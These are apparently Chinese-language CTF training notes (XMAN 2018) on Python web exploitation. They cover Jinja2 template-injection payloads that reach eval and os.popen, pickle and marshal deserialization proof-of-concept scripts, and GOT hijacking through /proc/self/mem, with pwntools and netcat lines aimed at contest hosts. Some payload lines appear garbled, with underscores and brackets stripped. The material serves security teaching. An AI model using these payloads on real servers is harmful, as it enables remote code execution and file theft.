CTF-web xman-2018 第八天 web 模板注入 序列化執行
python程式碼審計
php包容性更大的語言,針對web,簡單一些所以大家用這個
python出現後,更加的中性一些,有更多的庫,以其為技術基礎的東西也很多,比如flask模板等。
企業中java多,但是不適合初學者,呼叫棧特別多,反序列化,表示式執行。
對於沒遇到過的題目,要會收集資訊,百度不行還是用谷歌。
學會用英文搜尋,而且新很多,谷歌的高階技巧(定向搜尋,原始碼搜)
直接命令注入
對於可以直接執行cmd或者指令碼命令的,cmd我們可以|並行管道執行
指令碼的則可以閉合然後寫入新的命令。
模板注入
對於伺服器模板注入,我們需要先看是py2,3,然後根據下面可以使用的類搜尋和執行的方法得到檔案或者目錄。
如果被過濾關鍵詞,我們可以採用一些繞過方法
如果類被刪除等我們通過fuzz看到開了什麼,有原始碼的話就不需要了,一般用到的關鍵字意義如下
常見 payload
# 讀檔案
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
# 寫檔案
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
# 執行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
否則的話需要我們一步一步測試
從基類開始,再看子類,測試出被ban的是什麼。
如果我們的函式被刪除了
我們可以重新載入一下
限制的話就可以再次刪除reload
劫持got表
write修改got表 實際上是一個/proc/self/mem的記憶體操作方法 /proc/self/mem是記憶體映象,能夠通過它來讀寫到程序的所有記憶體,包括可執
行程式碼,如果我們能獲取到Python一些函式的偏移,如system,我們就能通過 想做pwn題的劫持got表做我們任意想做的事情
Return to libc
(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or().__class__.__bases__[0].__subclasses__()[40]('c'+'at
/home/ctf/5c72a1d444cf3121a5d25f2db4147ebb'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[
40]('/proc/self/mem', 'w', 0))
第一個地址是system的偏移,第二個是fopen的偏移,我們可以通過objdump獲取相關資訊
格式化字串問題
序列化問題
大概的意思就是我們輸入的資訊可以被當做命令執行,但是需要進行序列化,因為漏洞是發生在發序列化時。
例如pickle序列化漏洞,允許任意物件去定義一個__reduce__方法來申明怎麼序列化這個物件,即有限執行這個方法。那麼我們可以在傳入的payload中定義這個方法,方法中附帶上我們的字串,就可以執行我們字串的功能
#!/usr/bin/env python
#coding: utf-8
import cPickle
import os
class genpoc(object):
def __reduce__(self):
s = """echo moxiaoxi> poc.txt""" #要執行的命令
return os.system, (s,) #os.system("echo moxiaoxi >poc.txt")
e = genpoc() //獲取python物件 裡面包含reduce方法,方法裡寫上我們的命令
poc = cPickle.dumps(e) //將python物件序列化儲存到本地的檔案
print poc
# www.a.com/index.php?payload=xxxxxxxxxxxx
# 原理: 我們提交序列化的引數,那麼伺服器會進行解碼
# 發現存在自定義解碼方法reduce 執行reduce 執行我們的命令
這是第一個方法,只可以執行system命令,我們還可以執行任意命令
# !/usr/bin/env python
# -*- coding:utf-8 -*-
import marshal
import base64
import cPickle
import urllib
def foo():#這是我們傳上去的命令,寫在下面
import os
def fib(n): # 自己定義的函式
if n <= 1:
return n
return fib(n-1) + fib(n-2)
print 'fib(10) =', fib(10)
os.system('echo anycode >>poc.txt')
try:#嘗試使用cPickle來序列號程式碼物件
cPickle.dumps(foo.func_code)
except Exception as e:
print e #TypeError: can't pickle code objects
code_serialized = base64.b64encode(marshal.dumps(foo.func_code))
print code_serialized
#為了保證code_serialized中的內容得到執行,我們需要如下程式碼
#(types.FunctionType(marshal.loads(base64.b64decode(code_serialized)), globals(), ''))()
payload = """ctypes
FunctionType # 類似於 import system
(cmarshal
loads
(cbase64
b64decode # 解碼
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code)) # 編碼的命令 我們的命令在foo中 自帶func_code為獲取其中程式碼
print "------------------------------------------------" #編碼和傳送
print payload
fp =open("poc.pickle","w")
fp.write(payload)
print "------------------------------------------------"
print urllib.quote(payload)
大師傅小例題
ping執行
例題2
模板注入,同沙箱逃逸中的知識點,{{}}中的會當做命令執行,我們需要採用自帶的模組和基類呼叫我們需要的函式,輸入引數等。
繞過的時候可以採用引數和cookie,拼接等形式。
注意是python2還是python3 不同形式的,python3中可能不存在一些庫
python3
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %} //遍歷基類 找到eval函式
{% if 'eval' in b.keys() %} //找到了
{{ b['eval']('__import__("os").popen("ls").read()') }} //匯入cmd 執行popen裡的命令 read讀出資料
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
//然後cat 就可以
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat /tmp/ddddd/2222/flag ").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
//我們可以改裡面的命令
//直接ls就能看到 否則的話find搜尋
基本格式:find path expression
1.按照檔名查詢
(1)find / -name httpd.conf #在根目錄下查詢檔案httpd.conf,表示在整個硬碟查詢
(2)find /etc -name httpd.conf #在/etc目錄下檔案httpd.conf
find 搜尋目錄 -type d
查詢某個目錄下的所有目錄
find /tmp -type d
find 搜尋目錄 -cmin -時間(單位分鐘)
查詢etc下面1小時內被修改的檔案,根目錄下面太多了,指定一個目錄
find /etc -cmin -60
find 搜尋目錄 -size 檔案大小
這裡的檔案大小我們常見的有點不一樣,這個大小是資料庫,一個數據庫等於512個位元組,也就是0.5KB,所有1KB等於2個數據塊
下面我們查詢下大於100MB的檔案,應該實際是102400KB*2,所有搜尋命令為
find / -size +204800
-號是小於
直接寫數字就是等於
python2
兩對{}包裹的會被當做命令執行,我們可以來讀取檔案等
http://202.112.51.130:9009/?name={{9-3}}
會返回6 則可以執行
我們在使用的時候,上邊的py3的程式碼也可以用。
{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd
').read() }}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').w
rite("") }}
大師傅例題3
Return to libc
write修改got表
實際上是一個/proc/self/mem的記憶體操作方法,/proc/self/mem是記憶體映象,能夠通過它來讀寫到程序的所有記憶體,包括可執
行程式碼,如果我們能獲取到Python一些函式的偏移,如system,我們就能通過想做pwn題的劫持got表做我們任意想做的事情
連線先 nc 202.112.130 8000
先使用read函式讀取 檔案,因為一些東西被過濾了,我們需要換一種寫法
[(r.read())for(r)in(1.1.__class__.__base__.__subclasses__()[40]('/usr/bin/python'),)][0]
那麼這個讀取檔案是可以使用的,那麼我們可以獲得
#coding:utf-8
from pwn import *
def test(payload):
conn = remote('202.112.51.130 ', 8010) //建立連線
# context.log_level='debug'
conn.recv()
conn.sendline(payload) //傳送payload
# data = conn.recvuntil('/bin/rbash')
conn.recv()
data = conn.recv() //第一條獲取的誤用 第二次獲取
print data
# conn.interactive()
return data
payload ="""[r.read()for(r)in(1.1.__class__.__base__.__subclasses__()[40]('/usr/bin/python'),)][0]"""
print test(payload)
如此我們得到了讀取的檔案,我們可以看到地址,然後就進行地址的檢視(自己用工具)
找到之後,我們劫持got表如下
echo "[(r.seek(0x8bb2c8),w.seek(0x8bb8e0),w.write(r.read(8)),1.1.class.base.subclasses()40)for(r,w)in[(1.1.class.base.subclasses()40,1.1.class.base.subclasses()40)]]" | nc 54.223.98.61 14687
getflag
echo "[(r.seek(0x8bb2c8),w.seek(0x8bb8e0),w.write(r.read(8)),1.1.class.base.subclasses()40)for(r,w)in[(1.1.class.base.subclasses()40,1.1.class.base.subclasses()40)]]" | nc 54.223.98.61 14687
例題4 任意命令執行
看來我們可以輸入Payload引數,那邊會輸出我們的字串, 測試一下發現時payload小寫的
那麼使用課上講的任意程式碼執行的序列化指令碼,foo()內容先system('ls'); 然後cat就可以
def foo():#you should write your code in this function
import os
#rerurn os.popen('ls').read()
return os.popen('cat flag').read()
# 這兩次就得到了flag
# 先得到目錄 發現flag 直接cat讀取